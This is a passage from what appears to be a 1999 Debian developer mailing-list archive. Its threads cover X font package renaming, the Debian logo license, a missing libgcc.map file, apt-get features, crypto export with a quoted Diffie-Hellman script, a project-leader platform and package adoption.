or not version 1 or 100 of xfntbase is installed, for instance, xfonts-base is going to conflict with it anyway. With the fake packages we get the bizarre situation of a package A depending on package B, while package B conflicts with package A. 3. When the install time comes, the xfnt-* packages are removed and the xfonts-* packages would be installed. Okay. I've put a little thought into this (not a whole lot), and I don't see any really clean way to do this in a single package's control file. The only other approach that I can think would work would be for one packages postinst to use dpkg --status to figure out which xfnt's were installed, and then kludge together the appropriate file to feed dpkg --set-selection to select the corresponding xfont's, and then tell the user to run dselect Install again. I greatly fear doing anything like that. The X reorg has already shown me that dpkg is a pretty delicate beast. I've filed a few bugs against it as a direct result of issues raised by the reorg. -- G. Branden Robinson | I've made up my mind. Don't try to Debian GNU/Linux | confuse me with the facts. [EMAIL PROTECTED] | -- Indiana Senator Earl Landgrebe cartoon.ecn.purdue.edu/~branden/ | pgp1q15NtmvSx.pgp Description: PGP signature
Re: Reality check!
On Sun, 24 Jan 1999, Marcus Brinkmann wrote: installation easier requires hard work. If it would be easy, it would have been long done. The trick is to keep flexibility (and don't tell me SuSE is flexibel). Doing it easy for the newbie and configurable for the experienced user requires a well though out configuration and administration system. At least for multi-installation this is currently developed on the debian-admintool list. I suspect that it is impossible to get the best of both worlds in a single solution. You would probably end up with the worst of both. Perhaps it would be good to consider two (2) different installations One the same/similar to what we have - and another that caters to newbies ie. one that is easy/basic and satisfies the pedagogocal requirments of the new user. If debian were able to have both the advanced capability that it has now AND a simple basic install for novices and teaching purposes it would stand out amongst all other dists. Would it not? Like who else has thought about the REAL requirements of the newbie? I mean as a future technical user? -steve
Re: the Great X Reorganization, package splits, and renaming
On 23-Jan-99, 21:21 (CST), Branden Robinson [EMAIL PROTECTED] wrote: 2. Assuming the user does nothing mess with those, they would eventually be shown a Conflict Resolution screen that would show the new xfont-* packages selected and the xfnt-* packages deselected. User should just hit return to accept the change. This should be fairly obvious, because the explanation for the xfonts-* packages would be Replaces xfnt-*. Won't this happen anyway? No. Because nothing will ever cause the xfonts-* packages to be brought in, until something updates its dependency from xfnt-* to xfonts-*. That's the issue: unless the user realizes that zie needs to do something, the old xfnt packages will be on the user's system, and the new xfonts packages will be ignored. Yeah, xfree-common (or something) might recommend some combination of the xfonts packages, but there will always be leftovers. You could also Recommend all the font packages, but that would seriously annoy many people, including me, because of dselect's whining. I guess the question is How important is automating this upgrade? My personal belief is not very, because there is really no functional effect, and the vast majority of people will figure it out pretty quickly. But it would be nice. This is the bone of contention. Whether or not version 1 or 100 of xfntbase is installed, for instance, xfonts-base is going to conflict with it anyway. With the fake packages we get the bizarre situation of a package A depending on package B, while package B conflicts with package A. It is kind of bizarre. But it has the desired effect on the user's system: it leads them to move from xfnt-* to xfonts-*. [consider a postinst kludge to bring in the xfonts-* over the xfnt-*] I greatly fear doing anything like that. The X reorg has already shown me that dpkg is a pretty delicate beast. I've filed a few bugs against it as a direct result of issues raised by the reorg. Yeah, I agree. That's why I think the dummy package thing is ok. The only real downside is that you continue to have these xfnt-* packages in distribution for slink, and probably potato. Put 'em at priority extra, and make sure the first line of the description begins with Obsolete:, and the remaining (short!) description says something like Do not install this package; install xfonts-xxx instead. This package exists only to enable a smooth upgrade from previous Debian releases. Steve
what is libgcc.map ?
Hi, (B (BCan please somebody decrypt this message for me ? (B (B/usr/bin/ld: cannot open linker script file libgcc.map: No such file or (Bdirectory (Bcollect2: ld returned 1 exit status (Bmake[1]: *** [../lib/libvdk.so.0.5.1] Error 1 (B (BAny ideas ? (B (BTIA, (B (BIonutz
Re: Debian logo its license
On Sun, Jan 24, 1999 at 02:55:56AM +0100, Wichert Akkerman wrote: Agreed. Shall we move the logo license discussion to debian-legal and rewrite it there? Explain: Why in the world do we need to license something as trivial as a _logo_? I havent been a developer for a long time, but it seems to me as a normal person that I dislike excessive legalese. We already split hairs over every little thing, important as it may be. However, I think our time is better spent discussing things other than how to license something that half the people I talk to think is a chicken. Let's see if we want to replace it, then lets _ask_ people who use it to give credit to the designer, like with Larry Ewing and Tux. You don't see him writing a license, do you? Andrew -- Andrew G. Feinberg [EMAIL PROTECTED] [EMAIL PROTECTED] Pager: 1-888-950-5050 PIN 6093780 PGP Fingerprint 78 55 2B B4 A7 B2 96 FF 84 BA 4A 3F 23 82 DD 80 (If this is not related in some way to the Debian Project, please direct replies to [EMAIL PROTECTED])
Re: Debian logo its license
On Sun, 24 Jan 1999 00:52:12 +0100, Wichert Akkerman [EMAIL PROTECTED] said: Wichert [1 text/plain; us-ascii (quoted-printable)] For the Nth Wichert time our logo license has expired. It might be a good idea Wichert to finally finalize the license instead of just extending Wichert its lifetime every couple of months. Wichert There has also been mention of people wanting a different Wichert logo. I think we should stick to our current logo for Wichert several reasons though: Wichert * it is a good logo: it's easily recognizable, simple to Wichert draw, scales good and looks good in both blackwhite and Wichert in colour. Wichert * choosing a new logo will take a long time: we would have Wichert to get submissions, vote on them all over again, etc. Wichert * I actually like the thing :) Wichert I propose that we vote on accepting both the logo and the Wichert current license. Since this seems to be a formal proposal. I second. I'd like to see an end to the issue once and for all. I see two different votes here: 1) A formal logo license that Debian will use. and 2) What we do about the logo (with options a) keep current, b) keep current for some amount of time, c) get new one in some manner). Dres -- @James LewisMoss [EMAIL PROTECTED] | Blessed Be! @http://www.ioa.com/~dres | Linux is kewl! @Argue for your limitations and sure enough, they're yours. Bach
Re: what is libgcc.map ?
Hi,
I'm not sure what it is, but below are the contents of
'/usr/lib/gcc-lib/i486-linux/egcs-2.91.60/libgcc.map' on my potato system.
I was also missing this file when I did a new potato installation. I had
to copy it from other potato system to make things work again. I'm not
sure if it was the right thing to do but it made my linker work again.
I hope that this helps.
-Ossama
Here are the contents of the file:
GCC.INTERNAL {
local:
__ashldi3;
__ashrdi3;
__builtin_saveregs;
__clear_cache;
__cmpdi2;
__divdi3;
__dummy;
__eprintf;
__ffsdi2;
__fixdfdi;
__fixsfdi;
__fixunsdfdi;
__fixunsdfsi;
__fixunssfdi;
__fixunssfsi;
__fixunsxfdi;
__fixunsxfsi;
__fixxfdi;
__floatdidf;
__floatdisf;
__floatdixf;
__gcc_bcmp;
__lshrdi3;
__moddi3;
__muldi3;
__negdi2;
__pure_virtual;
__ucmpdi2;
__udiv_w_sdiv;
__udivdi3;
__udivmoddi4;
__umoddi3;
};
Re: what is libgcc.map ?
Hi,
(B
(BThanks. Indeed this was the problem. I will submit a bug report if
(Bnobody has already done this.
(B
(BIonutz
(B
(BOssama Othman wrote:
(B
(B Hi,
(B
(B I'm not sure what it is, but below are the contents of
(B '/usr/lib/gcc-lib/i486-linux/egcs-2.91.60/libgcc.map' on my potato system.
(B I was also missing this file when I did a new potato installation. I had
(B to copy it from other potato system to make things work again. I'm not
(B sure if it was the right thing to do but it made my linker work again.
(B
(B I hope that this helps.
(B
(B -Ossama
(B
(B Here are the contents of the file:
(B
(B GCC.INTERNAL {
(B local:
(B __ashldi3;
(B __ashrdi3;
(B __builtin_saveregs;
(B __clear_cache;
(B __cmpdi2;
(B __divdi3;
(B __dummy;
(B __eprintf;
(B __ffsdi2;
(B __fixdfdi;
(B __fixsfdi;
(B __fixunsdfdi;
(B __fixunsdfsi;
(B __fixunssfdi;
(B __fixunssfsi;
(B __fixunsxfdi;
(B __fixunsxfsi;
(B __fixxfdi;
(B __floatdidf;
(B __floatdisf;
(B __floatdixf;
(B __gcc_bcmp;
(B __lshrdi3;
(B __moddi3;
(B __muldi3;
(B __negdi2;
(B __pure_virtual;
(B __ucmpdi2;
(B __udiv_w_sdiv;
(B __udivdi3;
(B __udivmoddi4;
(B __umoddi3;
(B };
Re: Debian logo its license
On Sat, Jan 23, 1999 at 07:48:00PM -0600, Stephen Crowley wrote: On Sat, Jan 23, 1999 at 04:21:37PM -0800, Chris Waters wrote: Debian is a free project to distribute a free OS. It should have a free logo. FREE THE LOGO!! FREE THE LOGO!! :-) And what if some anti-debian people get ahold of the logo and use it for evil purposes? What if someone gets hold of the Linux kernel and uses it to guide nuclear missiles? (Well, at least they have to share their changes with us :)) Seriously, slander is slander, and it's rude, and people will know it when they see it. Furthermore, if people want to parody Debian (including the logo) they'll do so regardless of the logo license, and Debian doesn't have enough money to sue them about it. Besides, did anyone bother to register a trademark? A license that says this logo should only be used when referring specifically to Debian is plenty and probably still unenforceable. Have fun, Avery
apt-get install (for source)
I finally worked out what a great feature apt-get install is. I was wondering whether anybody has thought of making an option such as -s to instead download the source files for the named package. -- Binary Bar - Australia's first free access internet bar/cafe/gallery. 243 Brunswick Street, Fitzroy, Melbourne, Australia. 3pm - 1am http://www.binary.net.au/ Running on Debian/GNU Linux
Re: apt-get install (for source)
On 24 Jan 1999, David Maslen wrote: I finally worked out what a great feature apt-get install is. I was wondering whether anybody has thought of making an option such as -s to instead download the source files for the named package. There are a handfull of bugs about exactly that and indeed we will soon have the capability to do it. Jason
Re: Update was Re: Unsatisfied depends in slink main
On Sat, 23 Jan 1999, Dale Scheetz wrote: Of course this is not at all true, the package files are generated directly from the .deb files daily they are never wrong, if they were then our tools would stop working! While what you say is in principle true, in practice it doesn't always work out that way. My experience has been that many problems experienced by our users, and much of the fault on broken CDs have been the result of out-of-sync Packages files. In my most recent personal case, that broken sync was caused by a broken mirror configuration WRT symlinks. The result was a package in the Packages file but not in the archives. This can happen through a chain of mirrors in several ways. (Yes, I know that there are safeguards to help, but they are not always used) There is a simpler solution to this as used by the apt-cdrom tool, we simply verify that the package files are correct for the media they describe. If an entry exists there is a 99% chance that it is actually correct. Mind you this process takes a long time, but I think it is worth it as it makes our CD installs virtually fool proof Jason
Re: check if X is running?
On Sun, 24 Jan 1999, Hamish Moffatt wrote: I'd like to remove that check and make it a better one. Is checking for $DISPLAY sufficient? Why not just try to open the display, and if that fails bail out to text mode? (Since $DISPLAY might be invalid, or there might be a -display command line option overriding it, or whatever.) Havoc
Re: Debian logo its license
Avery Pennarun wrote: What if someone gets hold of the Linux kernel and uses it to guide nuclear missiles? (Well, at least they have to share their changes with us :)) Only if they distribute the control systems : Seriously, slander is slander, and it's rude, and people will know it when they see it. Furthermore, if people want to parody Debian (including the logo) they'll do so regardless of the logo license, and Debian doesn't have enough money to sue them about it. Besides, did anyone bother to register a trademark? Aren't parodies specifically allowed under international copyright law? A license that says this logo should only be used when referring specifically to Debian is plenty and probably still unenforceable. Yeah, I don't think it should be more than one sentence. Perhaps: You are licensed to use and distribute modified versions of this logo to refer to or advertise debian. Note that this fails DFSG point #6. I believe this was the original intent. -- Robert Woodcock - [EMAIL PROTECTED] It's like a love-hate relationship, but without the love. -- jwz, on linux
Re: Debian logo its license
Robert Woodcock wrote: You are licensed to use and distribute modified versions of this logo to refer to or advertise debian. Note that this fails DFSG point #6. I believe this was the original intent. We shouldn't license our logo by any license that does not comply with the DFSG. To do so would be hypocritical. Consider: of gnome licensed its logo this way, we would be required by the DFSG to put gnome in non-free or remove its logo from any gnome packages that used it. -- see shy jo
Re: Crypto software that *is* exportable from the USA
On Sat, 23 Jan 1999, Bear Giles wrote: It supports strong encryption but is exportable from the US because it does not have encryption compiled in by default. Instead it downloads the scripts it needs from South Africa when it runs for the first time. This is *extremely* risky behavior. [...] South Africa has no export restrictions on cryptography. It supports file transfer and secure logins shells. I meant that mirrordir supported file transfer and secure logins shells. The scripts are downloaded via ordinary ftp. As an aside, why would a mirror program even want strong encryption? Encryption != authentication, although the implementatons have significant overlap. It started as a mirror program. Now its a suite of utilities including a secure shell. I don't think the problem is as big as you say. To illustrate, the connect script follows. We are talking about less than 200 lines of script - an extremely small amount. It could easily become widely publicisely what these scripts are. A script to do checksums on the package itself would only take a few lines. I admit that its not foolproof, but it can easily reach a point where its highly improbably that a user could have a compromised script. On the other hand, users would have the ability to do secure logins on a stock standard system, without having to install a single thing. Also: there is no GPL secure shell (as far as I know). So even the International version of mirrordir with compiled in encryption (i.e. not in scripts) is a worthwhile package which can be downloaded from outside the US just like ssh. It seems to have recieved very little attention considering the need for a GPL secure shell. Is there something that I am missing here? -paul /* client connection script, exporting this script from the US may be in violation of the US munitions export regulations */ Huge *r; Huge *s; Huge *p; Huge *q; Huge *g; Huge *m; Huge *x; Huge *y; Huge *X; Huge *Y; long l; long type; char *c; char *prot; l = strlen (dIffIe--HelLmaN\n); if (l != send (dIffIe--HelLmaN\n, l, 0)) return 0; prot = 1234; prot[0] = 0; prot[1] = 1; type = typeoption (); prot[2] = type; prot[3] = 0; if (send (prot, 4, 0) != 4) return 0; p = prime (type); g = 2; y = random (typesize (type)); Y = pow (g, y, p); if (writehuge (Y, 0)) return 0; l = strlen (DIfFiE--hEllMan\n); if (recv (c, l, 0) != l) return 1; if (strncmp (DIfFiE--hEllMan\n, c, l)) return 1; if (!(X = readhuge (0))) return 0; m = pow (X, y, p); huge2bin (m, c, l); initarcrd (c, l / 2); /* stream cypher initialisation */ initarcwr (c + l / 2, l / 2); x = 0; y = 0; if (!(y = readhuge (1))) return 0; if (checksavedkey (y, type)) return 0; if (!(r = readhuge (1))) return 0; if (!(s = readhuge (1))) return 0; q = p 1; /* signature equation */ if (m != (((pow (g, s, p) * pow (y, r % q, p)) % p * r) % p)) return 0; return 1;
Re: Update was Re: Unsatisfied depends in slink main
Jason Gunthorpe writes: On Sat, 23 Jan 1999, Dale Scheetz wrote: While what you say is in principle true, in practice it doesn't always work out that way. My experience has been that many problems experienced by our users, and much of the fault on broken CDs have been the result of out-of-sync Packages files. In my most recent personal case, that broken sync was caused by a broken mirror configuration WRT symlinks. The result was a package in the Packages file but not in the archives. This can happen through a chain of mirrors in several ways. (Yes, I know that there are safeguards to help, but they are not always used) There is a simpler solution to this as used by the apt-cdrom tool, we simply verify that the package files are correct for the media they describe. If an entry exists there is a 99% chance that it is actually correct. Hopefully this will be less of a problem in future - the slink_cd script is forced to generate its own Packages files because of the way packages are split across mutliple disks. This means that there is no chance of it being out of sync with the packages on the disk... -- Steve McIntyre, CURS CCE, Cambridge, UK. [EMAIL PROTECTED] a href=http://www.chiark.greenend.org.uk/~stevem/comp/My PC page/a Can't keep my eyes from the circling sky, +-- Tongue-tied twisted, Just an earth-bound misfit, I... |Finger for PGP key
Re: Reality check! [was: Re: Debian goes big business?]
On Sun, 24 Jan 1999, Marcus Brinkmann wrote: On Sat, Jan 23, 1999 at 08:51:25PM +, thomas lakofski wrote: OK, since it seems that this kind of thing will probably only happen in a commercial context, maybe it would make sense to arrange commercial sponsorship of Debian in a bigger way. I think the first part of your sentence is a bit unfair. To make installation easier requires hard work. If it would be easy, it would have I understand the difficulty of the task -- I think it's also fair to say that because it's not the most glamourous of tasks it might be easier to attract developers to do it with some funding. been long done. The trick is to keep flexibility (and don't tell me SuSE is flexibel). Doing it easy for the newbie and configurable for the experienced user requires a well though out configuration and administration system. At least for multi-installation this is currently developed on the debian-admintool list. It's certainly possible to have ease and flexibility -- the install can ask you as its' first question whether you want a 'typical install' or 'custom setup'. Since there is no typical install really, some simplified choice of roles could be presented -- say Desktop, Intranet Server or Internet Server. Custom setup could then be left as flexible as necessary. Hardware autodetection would be another good thing, but only if implemented well and reliable. This does only work with open hardware specifications. It's not the lack of interest, but the lack of real, skilled contributions in this area, which addresses all concerns. Certainly -- again, maybe it would be easier to attract skilled developers with some sponsorship. Needless to say that any contribution is welcome, be it from volunteers or commercial organizations. But let's not drag Debian too deep into agreements with commercial contributors. If you can convince a company to write a good installation procedure, I am sure nobody will neglect it, provided it is technically convincing. Debian does make decisions on technical grounds, and I would not like to see this changed. I was thinking that the contributions would be financial (rather than code) to existing developers (or similarly-minded new ones) so that they could concentrate more on Debian development and still be able to earn a living. rgds, -tl .. please forgive my abrupt ending hre - but my conection is xtrememleyyhiclmelyey BAD hiccuppy etc must sign off - EF D8 33 68 B3 E3 E9 D2 C1 3E 51 22 8A AA 7B 98
Re: apt-get install (for source)
Jason Gunthorpe wrote: I finally worked out what a great feature apt-get install is. I was wondering whether anybody has thought of making an option such as -s to instead download the source files for the named package. There are a handfull of bugs about exactly that and indeed we will soon have the capability to do it. And while the APT Development Team is doing a great job, you can use `debget' in the meantime for downloading sources... bye, -Remco
Re: what is libgcc.map ?
Ossama Othman writes: Hi, I'm not sure what it is, but below are the contents of '/usr/lib/gcc-lib/i486-linux/egcs-2.91.60/libgcc.map' on my potato system. I was also missing this file when I did a new potato installation. I had to copy it from other potato system to make things work again. I'm not sure if it was the right thing to do but it made my linker work again. It's in the egcc package. Please install egcc until a new g++ upload.
Re: what is libgcc.map ?
Matthias Klose wrote: (B (B Ossama Othman writes: (B Hi, (B (B I'm not sure what it is, but below are the contents of (B '/usr/lib/gcc-lib/i486-linux/egcs-2.91.60/libgcc.map' on my potato system. (B I was also missing this file when I did a new potato installation. I had (B to copy it from other potato system to make things work again. I'm not (B sure if it was the right thing to do but it made my linker work again. (B (B It's in the egcc package. Please install egcc until a new g++ upload. (B (BThanks for the reply. I have installed egcc and now the file is in it's (Bplace. (B (BIonutz
Re: Reality check!
On Sat, 23 Jan 1999, Steve Shorter wrote: On Sun, 24 Jan 1999, Marcus Brinkmann wrote: installation easier requires hard work. If it would be easy, it would have been long done. The trick is to keep flexibility (and don't tell me SuSE is flexibel). Doing it easy for the newbie and configurable for the experienced user requires a well though out configuration and administration system. At least for multi-installation this is currently developed on the debian-admintool list. I suspect that it is impossible to get the best of both worlds in a single solution. You would probably end up with the worst of both. Perhaps it would be good to consider two (2) different installations One the same/similar to what we have - and another that caters to newbies ie. one that is easy/basic and satisfies the pedagogocal requirments of the new user. If debian were able to have both the advanced capability that it has now AND a simple basic install for novices and teaching purposes it would stand out amongst all other dists. Would it not? Like who else has thought about the REAL requirements of the newbie? I mean as a future technical user? I would see this as a RH-style - so a rather bloated kernel which includes lots of stuff as standard, and asks them the pertinent questions all at once at the beginning, and then gets on with it. Matthew -- Elen sila lumenn' omentielvo Steward of the Cambridge Tolkien Society Selwyn College Computer Support http://www.geocities.com/Area51/Chamber/8841/ http://www.cam.ac.uk/CambUniv/Societies/tolkien/ http://pick.sel.cam.ac.uk/
Re: the Great X Reorganization, package splits, and renaming
Umm.. I still think we're talking at cross-purpose. 1) xfonts-* C/R/P xfnt-*. Yes, I knew this was true. Yes, I knew Branden knew this :-) 2) Branden doesn't like xfnt-* hanging around. We agree. 3) However, if someone were to create xfnt-* packages which *Depend* on the corresponding xfont-* package, then the user will automatically install the new xfont-*, which will in turn automatically deinstall the xfnt-*, so the cruft doesn't hang around. Branden, do you object to this last? Jules /+---+-\ | Jelibean aka | [EMAIL PROTECTED] | 6 Evelyn Rd| | Jules aka | [EMAIL PROTECTED] | Richmond, Surrey | | Julian Bean | [EMAIL PROTECTED]| TW9 2TF *UK* | ++---+-+ | War doesn't demonstrate who's right... just who's left. | | When privacy is outlawed... only the outlaws have privacy. | \--/
fvwm{,2,-common} packages up for adoption
Hi, I am (in theory) still maintaining the following packages: fvwm fvwm2 fvwm-common xloadimage xcal In practice, I haven't uploaded new versions of these for many months. Both xcal and xloadimage have few outstanding bugs. fvwm2 has many outstanding bugs, some of which are in reality either feature requests or disagreements with particular configuration details. With the recent move of fvwm2 development into CVS, the release rate has increased greatly (however, it's also likely the stability has decreased somewhat). This is one of the reasons I haven't made any 2.1.x releases of fvwm2. But its mainly due to lack of time. Therefore, I'd like to give away my fvwm packages, ie fvwm, fvwm2 and fvwm-common. I'm happy keeping xloadimage and xcal, but I think it would be much better to have someone else look after the fvwm stuff. Volunteers should mail me ([EMAIL PROTECTED]), and we can organise an orderly handover. Oh, and it would help greatly if the crap on debian-private were to be kept to the minimum - political rants can happen quite happily in the pubic for all to see. Austin PS: I am not subscribed to this list
Re: Crypto software that *is* exportable from the USA
Previously Paul Sheer wrote: Also: there is no GPL secure shell (as far as I know). But people are working on that. From what I hear it's on the verge of becoming useable. Don't ask me about the name, I always forget it. Wichert. -- == This combination of bytes forms a message written to you by Wichert Akkerman. E-Mail: [EMAIL PROTECTED] WWW: http://www.wi.leidenuniv.nl/~wichert/ pgp4w5Qla0dtf.pgp Description: PGP signature
Re: Debian logo its license
Andrew G . Feinberg writes: Why in the world do we need to license something as trivial as a _logo_? We don't. -- John HaslerThis posting is in the public domain. [EMAIL PROTECTED] Do with it what you will. Dancing Horse Hill Make money from it if you can; I don't mind. Elmwood, Wisconsin Do not send email advertisements to this address.
Re: Crypto software that *is* exportable from the USA
On Sun, 24 Jan 1999, Wichert Akkerman wrote: Previously Paul Sheer wrote: Also: there is no GPL secure shell (as far as I know). But people are working on that. From what I hear it's on the verge of becoming useable. Don't ask me about the name, I always forget it. It's called psst. (Or at least, the project is called psst). If you want a URL, go to freshmeat, find the GNU privacy guard home page, and follow the link :-) Jules /+---+-\ | Jelibean aka | [EMAIL PROTECTED] | 6 Evelyn Rd| | Jules aka | [EMAIL PROTECTED] | Richmond, Surrey | | Julian Bean | [EMAIL PROTECTED]| TW9 2TF *UK* | ++---+-+ | War doesn't demonstrate who's right... just who's left. | | When privacy is outlawed... only the outlaws have privacy. | \--/
Re: CVS and sending a message when a file is updated (Was: NEWS for debian-boot
Stephane Bortzmeyer [EMAIL PROTECTED] writes: For Steve, the simplest solution is probably to subscribe to debian-boot (which receives the CVS updates) and to use procmail to filter: Thanks. I've been subscribed to debian-boot for a new days now, so I'm seeing things going through. -- Steve McIntyre, CURS CCE, Cambridge, UK. [EMAIL PROTECTED] a href=http://www.chiark.greenend.org.uk/~damerell/CUWoCS/CUWoCS.htmlCUWoCS home page/a Cthulhu - Why vote for the Lesser Evil? Tongue-tied twisted, Just an earth-bound misfit, I... |Finger for PGP key
Re: Debian logo its license
-BEGIN PGP SIGNED MESSAGE- On 24-Jan-99 Avery Pennarun wrote: On Sat, Jan 23, 1999 at 07:48:00PM -0600, Stephen Crowley wrote: On Sat, Jan 23, 1999 at 04:21:37PM -0800, Chris Waters wrote: Debian is a free project to distribute a free OS. It should have a free logo. FREE THE LOGO!! FREE THE LOGO!! :-) And what if some anti-debian people get ahold of the logo and use it for evil purposes? What if someone gets hold of the Linux kernel and uses it to guide nuclear missiles? (Well, at least they have to share their changes with us :)) It will still be a piece of copyrighted material, regarless of whether Debian has the money to sue or not. That copyright is basicly that nobody can use or reproduce the logo w/o permission. Organizations and people (such as Debian) will regard that copyright and not use it or keep asking for permission. It's not much different than the issue of the software licenses. If the author didn't GRANT the permission to modify/distribute/etc, then that permission doesn't exist. A license that says this logo should only be used when referring specifically to Debian is plenty and probably still unenforceable. Maybe = * http://benham.net/index.html * * * -BEGIN GEEK CODE BLOCK- ---* *Darren Benham * Version: 3.1 * * [EMAIL PROTECTED] * GCS d+(-) s:+ a29 C++$ UL++ P+++$ L++* * KC7YAQ * E? W+++$ N+(-) o? K- w+++$(--) O M-- V- PS-- * * Debian Developer * PE++ Y++ PGP++ t+ 5 X R+ !tv b DI+++ D++ * * [EMAIL PROTECTED] * G++G+++ e h+ r* y+* * * --END GEEK CODE BLOCK-- ---* = -BEGIN PGP SIGNATURE- Version: 2.6.3a Charset: noconv iQCVAwUBNqtfrrbps1lIfUYBAQH2MgP/YHbFyoNpW3zV0sBw+v5lZ3rSWafVHt2M nxEkQS7+aseHsvbpeMtm2rNoVxedimYrz78OhB8bergVXO9qnBly6qxNbeEnzHDC R5Ty3W8uea30VMIvYPnwLsKG02Gi2VaWl5Pmnd5nDxuTcDNfp6BJeuDjrAAtxbve lm0lSFtxBcM= =1Y++ -END PGP SIGNATURE-
My platform for Project Leader elections
I'm cross-posting this more widely than is usual, because people have been waiting for it, and it's the only such statement I plan to make. Please send replies to debian-vote (or privately, of course). This platform is late, but I figure it's better late than never. I've given an explanation of my recent absence on debian-private. ROLE I've given a lot of thought to this. What is the role of the project leader, and how should I fill it if I am elected? A lot of the obvious answers didn't fit. There are many things I would do as project leader, but most of them I would do anyway. Nothing stops any developer from promoting various favourite projects, or from doing just about anything else that a project leader might do. I think the difference is precisely that the project leader is appointed to speak for the project. The primary task of the project leader is to be the voice of the project. Internally, this means that the leader can say let's do it when a good idea seems to be stalled, or this is going very wrong when something is going very wrong. Stating such things openly will focus the attention of the project on an issue, and make it easier to accept changes. Externally, the leader gives the project a face. That way, people outside the project can interact with a single person, rather than facing a multitude of voices :-) The leader can make commitments on behalf on the project (though not binding ones), and can do the work of gathering a single, clear statement of opinion. I think that what happened with the KDE statement was a good example of this. I don't think PR is the leader's job, as such. Any developer can do it, and we currently have some developers who are doing a very good job of it. Matters of public relations probably need official approval more often than others, though, and the leader should be aware of that. PLANS I have no specific plans. I don't see the project as something that can be steered or directed. It's more like the Juggernaut: big, strong, slow to get started, and very hard to stop once it gets going. It can be aimed a bit, though, by clearing a path in the appropriate direction. And it can be accelerated by removing obstacles and stumbling blocks. I think the appropriate direction is what it has always been: to create a high-quality operating system that is entirely free. That is the key to all other goals, and we must not lose sight of it. SANITY Why would anyone want to be debian project leader? Historical evidence shows that it's a thankless job :-) For me it's the same masochistic tendency that attracts me to archive maintenance. I have an emotional stake in the success of the project, and it feels good to have a hand in that success. I'm just naturally attracted to meta-jobs like this. TIME I don't think that making time for it will be a problem. Staying in touch with the project will be the most time-consuming part of being project leader, and I do that already because I enjoy watching the project's activity. Even when I'm so pressed for time that I do nothing else, I still read the main mailing lists. QUALIFICATIONS I hope that most of you already know me from my activities within the project. That's a much better guideline than anything I could tell you :-) I'll still say something, though, because there are a lot of new developers, and because this is my chance to brag. Almost since I signed up as developer, I've been interested in project-wide activities, particularly ones that help focus the project on urgent tasks. I've made and promoted various task lists. You may remember the libc5 packages and package overlaps lists. I also made the Hamm Bugs Stamp-Out List, which Wichert took over when I went on vacation. He's done an excellent job with it since. Last spring, Christian Schwarz and I collaborated to make Lintian (the ultimate list-maker :-). I think Lintian has a good chance to help the project climb another rung on the ladder of development process quality. I've also done much of the day-to-day archive maintenance in the past six months (except for this month). This has gradually eaten up all my Debian time, and I hope to make some structural improvements there. I do have prior experience with leading a volunteer project, IgorMUD, that is similar to Debian is size though not in scope. I didn't do that alone; I played various roles in a team of 6-12 people. People were sad when I resigned, that tells me something :) I left after six years, when I was lured away by the Debian Project. CONCLUSION Overall, I expect I will be a project leader who listens a lot and says little. I hope to speak up at just the right times. Richard Braakman
Re: fvwm{,2,-common} packages up for adoption
On Sun, 24 Jan 1999, Austin Donnelly wrote:
I am (in theory) still maintaining the following packages:
fvwm
fvwm2
fvwm-common
xloadimage
xcal
In practice, I haven't uploaded new versions of these for many months.
I volunteer to adotp fvwm2 fvwm-common.
(I already began to work on it actually, expect an upload next WE or so)
Cordialement,
--
- Vincent RENARDIAS [EMAIL PROTECTED],pipo}.com,{debian,openhardware}.org} -
- Debian/GNU Linux: http://www.openhardware.orgLogiciels du soleil: -
- http://www.fr.debian.orgOpen Hardware: http://www.ldsol.com -
---
-Microsoft est à l'informatique ce que le grumeau est à la crépe... -
Re: Debian logo its license
On Sat, Jan 23, 1999 at 11:44:06PM -0800, Joey Hess wrote: Robert Woodcock wrote: You are licensed to use and distribute modified versions of this logo to refer to or advertise debian. Note that this fails DFSG point #6. I believe this was the original intent. We shouldn't license our logo by any license that does not comply with the DFSG. To do so would be hypocritical. Not true. It's the Debian Free SOFTWARE Guidelines. A logo is not software. It may well be that we want a logo whose use is restricted so that we can have some control over the quality of items that it is associated with. It appears that what we really need are two logos: one with a relatively open license and second with a more restricted one. The open one would be used on web pages, etc. An example where a more restricted license would be appropriate is letting it only be used on CDs that pass a test suite guaranteeing that the CD set is 'good enough'. Jay Treacy
Re: Crypto software that *is* exportable from the USA
Wichert wrote: Previously Paul Sheer wrote: Also: there is no GPL secure shell (as far as I know). But people are working on that. From what I hear it's on the verge of becoming useable. Don't ask me about the name, I always forget it. MIT Kerberos (4 and 5) is open source and provides strong authentication (and optional encryption) of telnet, ftp, rsh, rcp, and more. Kerberos 5 is currently US-only, but Kerberos4kth is a foreign implementation that is available at nonus.debian.org. I believe this site also has an SSLtelnet program, built using SSLeay. Bear Giles [EMAIL PROTECTED]
Re: Debian logo its license
On Sat, Jan 23, 1999 at 10:35:50PM -0600, Andrew G . Feinberg wrote: Why in the world do we need to license something as trivial as a _logo_? Because if we don't, nobody has the right to make copies of it and display it publically. It's the same reason as with software. as a normal person that I dislike excessive legalese. If you really were a normal person, why are you a Debian developer? The proverbial normal people /hate/ (or at best tolerate) computers. (My point being that there is not one normal person on the face of Earth. Everyone have their quirks.) And a license by itself is not excessive legalese. Most free software licenses I've read are not legalese at all, and those that are (GNU (L)GPL and MPL come first to mind) are quite readable to a logically oriented mind with some patience. Larry Ewing and Tux. You don't see him writing a license, do you? The picture of Tux is licensed freely for any use as long as Larry Ewing is mentioned. Don't know about modification, though. Antti-Juhani -- %%% Antti-Juhani Kaijanaho % [EMAIL PROTECTED] % http://www.iki.fi/gaia/ %%% EMACS, n.: Emacs May Allow Customised Screwups (unknown origin)
NMU of xxgdb
I've prepared an NMU of xxgdb - I believe that this fixes all outstanding reported bugs against it. I'm contacting you two as one of you is the listed maintainer of xxgdb, and the other of you did the libc6 NMU for hamm. I'm cross-posting to debian-devel in case anyone else had been looking at fixing up xxgdb after my last thread on it. Unless I hear objections, I will upload it (to potato only; this contains more new code than is healthy in a deep freeze) in a bit over a week. I converted it over to using debhelper, so the diff is actually quite large for an NMU - also, I made enough changes to the actual source so that it no longer needs changes to X include files to compile - I didn't quite do this as cleanly as I would have liked to, but it's a starting point. Of slightly more general interest, I wrote a new debhelper script to package xxgdb - dh_installxaw. It's basically just a modified copy of dh_installmenu that installs xaw-wrappers files and adds the appropriate commands to the postinst and postrm. It's in the debian/ subdirectory of this NMU. (I'm also forwarding it to [EMAIL PROTECTED]) Until I upload it to INCOMING, you can access this .deb from: http://master.debian.org/~fizbin/ It's lintian-clean; take that for what it's worth.
Re: Debian logo its license
